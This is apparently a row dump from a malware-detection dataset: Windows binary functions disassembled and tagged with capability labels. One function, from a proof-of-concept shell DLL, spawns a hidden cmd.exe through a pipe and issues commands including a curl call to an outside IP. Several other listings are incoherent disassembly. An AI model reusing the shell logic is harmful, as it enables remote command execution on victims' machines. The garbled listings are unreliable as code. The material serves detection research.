joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a830]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a840]
mov dword [rax], 1
mov rax, qword [0x14000a850]
mov dword [rax], 1
mov rax, qword [0x14000a7b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a820]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a8e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a790]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014a4
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov word [rbp + 0x13e], 0x202
movzx eax, word [rbp + 0x13e]
lea rdx, [rbp - 0x60]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x1400014f9
lea rax, str.ws2_32.dll_is_out_of_date._n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
nop
add rsp, 0x1c0
pop rbp
ret

Function at 0x1400015a2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
jmp 0x14000161e
mov eax, dword [rbp + 0x20]
sub eax, dword [rbp - 4]
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
cdqe
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x14]
add dword [rbp - 4], eax
cmp dword [rbp - 0x14], 0xffffffff
jne 0x14000161e
mov rax, qword [rbp + 0x10]
lea rdx, str.Could_not_receive_data
mov rcx, rax
call sym.Kick
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x20]
jl 0x1400015ce
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret
Function at 0x140001e70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0a4]
mov rbx, rcx
test esi, esi
jle 0x140002010
mov rax, qword [0x14000d0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001f2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001fb5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001f10
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002032
mov rax, qword [0x14000d0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002017
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001fae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001fc0
add dword [0x14000d0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001fae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001f38
mov rax, qword [0x14000d0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400025c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x14000261c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002613
test eax, eax
jne 0x140002613
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400025f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002830
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002848
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002850
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002860
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400028ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400028a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400028af
add rax, 0x28
cmp rax, r9
jne 0x140002890
xor eax, eax
ret

Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002940
mov rdx, qword [0x14000a7b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000292e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000292e
cmp word [rax + 0x18], 0x20b
jne 0x14000292e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002940
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002919
add rbx, 0x28
cmp rbx, rdi
je 0x140002940
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002910
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002950
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a7b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002970
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002978
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002970
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400029cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400029c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002970
add rax, 0x28
cmp rax, r9
jne 0x1400029b0
xor eax, eax
ret

Function at 0x1400029d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a7b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400029ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400029f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400029ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002a10
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a7b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002a30
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002a38
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002a30
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002a80
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002a77
test rcx, rcx
je 0x140002a30
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002a68
xor eax, eax
ret

Function at 0x140002a90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a7b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002aaf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002ab8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002ad0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a7b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002af0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002af8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002af0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002af0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002b44
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002b50
add rdx, 0x28
cmp rdx, r9
jne 0x140002b30
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002b60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a7b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002b82
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002b90
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002b82
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002b82
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002b82
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002be5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002bf8
add rdx, 0x28
cmp r10, rdx
jne 0x140002bd0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002c07
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002c17
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002bee
test ecx, ecx
jg 0x140002c00
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000c260
Capabilities:
Accept command line arguments

Disassembly:
lea rbx, [rcx]
and al, 0x10
mov qword [rsp + 0x18], rbp
wait
je 0x14000c292
and byte [rdi + 0x48], dl
add ebx, 0x80e
mov rax, qword [0x184160370]
xor rax, rsp
mov dil, 0x84
and al, 0x20
mov ah, SHRestricted
add byte [rbx], dh
in eax, dx
mov rdi, rcx
mov word [rcx], bp
invalid
call sym.imp.KERNEL32.dll_GetCommandLineW
rol dword [r8], cl
add al, 0
add byte [rbx + 0x2024988d], bh
mov rcx, rax
mov ebx, ebp
cmpsd dword [rsi], dword [rdi]
sbb byte [rbx - 0x74b7fff8], cl
invalid

Function at 0x140011c68
Capabilities:
Execute syscall

Disassembly:
leave
invalid
cmp dword [rcx + 0xc], ebx
jae 0x140011c8e
and qword [r8 + 8], r10
mov eax, 0xc50f
nop
or dword [rax + 0x14], 0xffffffff
mov r10d, r11d
xchg r8w, ax
add byte [rbp - 0x77], al
ja 0x140011c9e
mov dword [r8 + 0x52], r11d
movsb byte [rdi], byte [rsi]
pop rcx
jne 0x140011cdc
test r15, r8
test edi, eax
je 0x140011c96
mov dword [r9], r10d
jmp 0x140011c58
in eax, dx
int3
mov eax, 0x7c04017c
syscall
in al, dx
adc al, 0
add ebx, ebp
add dh, byte [rbx]
ret

Function at 0x140040828
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rdx
push rdi
push r14
sbb byte [r8 - 0x73], cl
lodsb al, byte [rsi]
and al, 0xd0
call 0x170bd0818
xor dword [rax], eax
add al, ch
sbb ch, byte [rbx*4 - 0x1fd4b800]
mov rax, qword [0x140220370]
xor rax, rsp
mov qword [rbp - 0x3cffe8e0], rax
invalid

Function at 0x140073cf0
Capabilities:
Encode data using xor

Disassembly:
stc
xchg ebx, eax
test byte [rax + rcx], ah
push rbx
sub rsp, 0x30
mov qword [rsp + 0x20], 0xffffffff85ff64fe
mov rbx, rcx
xor ebp, dword [rbx]
push r11
push rax
movsd dword [rdi], dword [rsi]
add byte [rax], al
call int.1400f63ca
nop
lea rcx, [rbx + 0xe678]
mov al, 0x34
movabs eax, dword [0x50307c8dd427ffad]
add byte [rbp + 0x30c48375], bl
pop rbx
xchg ebp, eax
div dword [rax + 0x40cccc00]
push rbx
fiadd dword [rbx - 0x2dcc4514]
jle 0x140073cf6
push rax
nop
add byte [rdx + 0x2dd98bf9], ch
invalid

Function at 0x14007dc38
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jg 0x13f9ae525
lea r13d, [r10 + 0x34]
jp 0x14007dc77
and al, 0x20
int 0xca
mov ah, 0x44
and al, 0x24
dec dword [rax - 0x75]
invalid
mov qword [rsp + 0x10], rdx
jle 0x14007dbf6
invalid
xchg esi, eax
add al, byte [rdi + riz - 0x40]
test dword [rsi - 0x3d92f7b2], esi
adc al, 0xe5
imul edx, eax, 0x2773
lea edx, [rbx + 3]
movzx eax, byte [rax + r9]
add edx, eax
lea esi, [rdi]
add dword [rdx + 0xf], eax
mov dh, 0x8a
mov bh, 0x69
enter 0xffffffffffff8e15, 0xffffffffffffff83
invalid
Function at 0x140097918
Capabilities:
Encrypt data using rc4 prga

Disassembly:
invalid
xchg rbx, rax
pop rsp
and al, 0x62
push rbp
push rsi
push rdi
in al, dx
jne 0x1400978a8
in al, dx
fcom qword [rbx - 0x75bdfa75]
or al, 0
xor rax, rsp
mov qword [rbp - 8], rax
movzx eax, word [rdx]
mov rdi, rdx
mov word [rbp - 0x38], ax
mov rbx, rcx
movzx eax, word [rdx + 4]
lea rcx, [rbp - 0x38]
mov word [rbp + 0x40], ax
test dh, dh
movzx eax, word [rdx + 8]
mov word [rbp - 0x4c], ax
add eax, dword [rbx]
mov ebx, 0x49458966
movzx eax, word [rdx + 0x10]
mov word [rbp - 0x2e], ax
movzx ecx, ax
adc al, 0x48
lea edx, [rbp + 0xb]
invalid

Function at 0x1400ad754
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
and al, 0x18
mov rsi, rsi
and al, 0xbf
push rdi
mov ebx, 0x4f7f281
add bh, bl
mov rax, qword [0x140160370]
xor rax, rsp
mov qword [rsp + 0x7a0420], rax
out dx, al
mov ebp, dword [rdi]
jb 0x1400ad757
ror al, cl
mov dl, 0x17
push rax
xor eax, 0xa3630007
invalid

Function at 0x1400cde7c
Capabilities:
Encode data using xor

Disassembly:
test rcx, rcx
outsd dx, dword [rsi]
test byte [rdi + 0x48380000], dl
mov dword [rsp + 8], ebx
jmp 0x1400cdeb2
call fcn.1400cebe3
mov rsi, rax
fld qword [rbp - 0x6fb68b40]
or eax, 0xffffffff
mov rdi, r8
xor eax, 0x3994c515
sub al, 0x7b
jne 0x1400cdec6
insd dword [rdi], dx
inc eax
fsubr dword [rbx + r8*2]
jne 0x1400cdef0
mov r14, qword [rdx + rdi*4]
add ah, byte [rdi - 0x74b7ffe8]
shr eax, cl
mov ebx, dword [rsi + 3]
add byte [rax - 0x75], cl
invalid
and al, 0x8b
add eax, 0x15d2b5
invalid

Function at 0x1400d3508
Capabilities:
Encode data using xor

Disassembly:
push rsi
xor rbp, rsp
xor byte [rax], dh
clc
cmp eax, 0xef1
je 0x1400d3530
sbb eax, 0x48120d8b
or dword [rax], eax
jne 0x1400d3531
add ebp, edx
add byte [rbp + 0x33], al
leave
lea r8d, [rdx - 0x67]
call qword [sym.imp.USER32.dll_PostMessageW]
ja 0x1400d3533
invalid
cmp qword [0x1401b87d0], 0
cmp dword [0x1401b87d0], 0
imul ebx, dword [rbx], 0x9b0d8b48
xor byte [rcx], cl
add byte [rdi + 0x2020b], al
add byte [rbp + 0x33], al
sal byte [rbx], 7

Function at 0x14010fab8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov rsi, rbx
or byte [rax - 0x77], cl
push 0x70894210
sbb cl, bh
xchg esi, eax
js 0x14010faeb
push r14
sub rsp, 0xffffffffffffffd0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r8d, dword [r13 - 0x252701b8]
test eax, eax
je 0x140c48a8c
invalid
cmp dword [rax], esi
je 0x14010fb0b
or rax, 0xffffffffffffffff
mov al, 0xc0
cmp word [rsi + rax*2], r14w
jne 0x14010faf3
push rbx
fst qword [rdi + 0x48]
add esi, 2
mov dil, 0x36
jne 0x14010faef
retfq
Function at 0x2910e13a0
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 4]
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rax, [rbp - 4]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 2
lea rdx, section..rdata
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x2910e1423
Capabilities:
Create pipe
Create process on windows
Schedule task via at

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], rcx
mov dword [rbp + 0xa8], edx
mov qword [rbp + 0xb0], r8
cmp dword [rbp + 0xa8], 1
jne 0x2910e1690
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov eax, dword [rbp + 0xc]
or ah, 1
mov dword [rbp + 0xc], eax
mov ecx, 0xfffffff5
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp + 0x28], rax
mov ecx, 0xfffffff4
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x70]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x50], 0x18
mov dword [rbp + 0x60], 1
mov qword [rbp + 0x58], 0
lea rcx, [rbp + 0x50]
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x48]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x2910e151d
mov r9d, 0
lea r8, str.Error
lea rdx, str.Failed_to_create_pipe
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x2910e1695
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x40]
mov r8d, 1
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x2910e15c5
mov r9d, 0
lea r8, str.Error
lea rdx, str.Failed_to_create_process
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x2910e1695
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x40]
lea rdx, str.echo_Hello_from_Ana_Tackers_DLL
mov rcx, rax
call sym.poc_shell_dll.dll_ExecuteCommand
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x40]
lea rdx, [0x2910e4061]
mov rcx, rax
call sym.poc_shell_dll.dll_ExecuteCommand
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x40]
lea rdx, str.curl_http:__172.27.229.14:8080
mov rcx, rax
call sym.poc_shell_dll.dll_ExecuteCommand
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x40]
lea rdx, str.exit
mov rcx, rax
call sym.poc_shell_dll.dll_ExecuteCommand
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x70]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0x110
pop rbp
ret
Function at 0x2910e1840
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x2910e18b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x2910e7054]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x2910e1a60
mov rax, qword [0x2910e7058]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x2910e18fc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2910e1987
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x2910e18e0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x2910e1abd
mov rax, qword [0x2910e7058]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x2910e7058]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2910e1aa2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2910e1980
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2910e1a10
add dword [0x2910e7054], 1
cmp ebx, 8
jae 0x2910e19b8
test bl, 4
jne 0x2910e1a70
test ebx, ebx
je 0x2910e19a9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x2910e1a90
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x2910e19a9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x2910e19ea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x2910e7058]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2910e1980
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x2910e1907
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x2910e19a9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x2910e19a9
mov rax, qword [0x2910e7058]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]